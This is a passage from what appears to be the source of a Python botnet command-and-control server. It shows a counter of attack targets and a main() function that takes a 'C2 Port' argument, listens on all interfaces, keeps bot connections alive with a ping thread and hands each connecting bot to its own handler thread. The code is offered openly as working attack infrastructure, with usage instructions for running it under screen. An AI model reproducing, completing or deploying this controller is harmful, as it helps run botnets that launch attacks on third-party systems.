| 573 | send_attack_target += 1 |
| 574 | |
| 575 | def main(): |
| 576 | if len(sys.argv) != 2: |
| 577 | print(f'Usage: screen python3 {sys.argv[0]} <C2 Port>') |
| 578 | exit() |
| 579 | port = sys.argv[1] |
| 580 | if not port.isdigit() or int(port) < 1 or int(port) > 65535: |
| 581 | print('\x1b[3;31;40m Invalid C2 port') |
| 582 | exit() |
| 583 | port = int(port) |
| 584 | init(convert=True) |
| 585 | sock = socket.socket() |
| 586 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) |
| 587 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) |
| 588 | print(screenedSuccessfully) |
| 589 | try: |
| 590 | sock.bind(('0.0.0.0', port)) |
| 591 | except: |
| 592 | print('\x1b[3;31;40m Failed to bind port') |
| 593 | exit() |
| 594 | sock.listen() |
| 595 | threading.Thread(target=ping).start() # Start keepalive thread |
| 596 | # Accept all connections |
| 597 | while 1: |
| 598 | threading.Thread(target=handle_client, args=[*sock.accept()]).start() |
| 599 | |
| 600 | if __name__ == '__main__': |
| 601 | try: |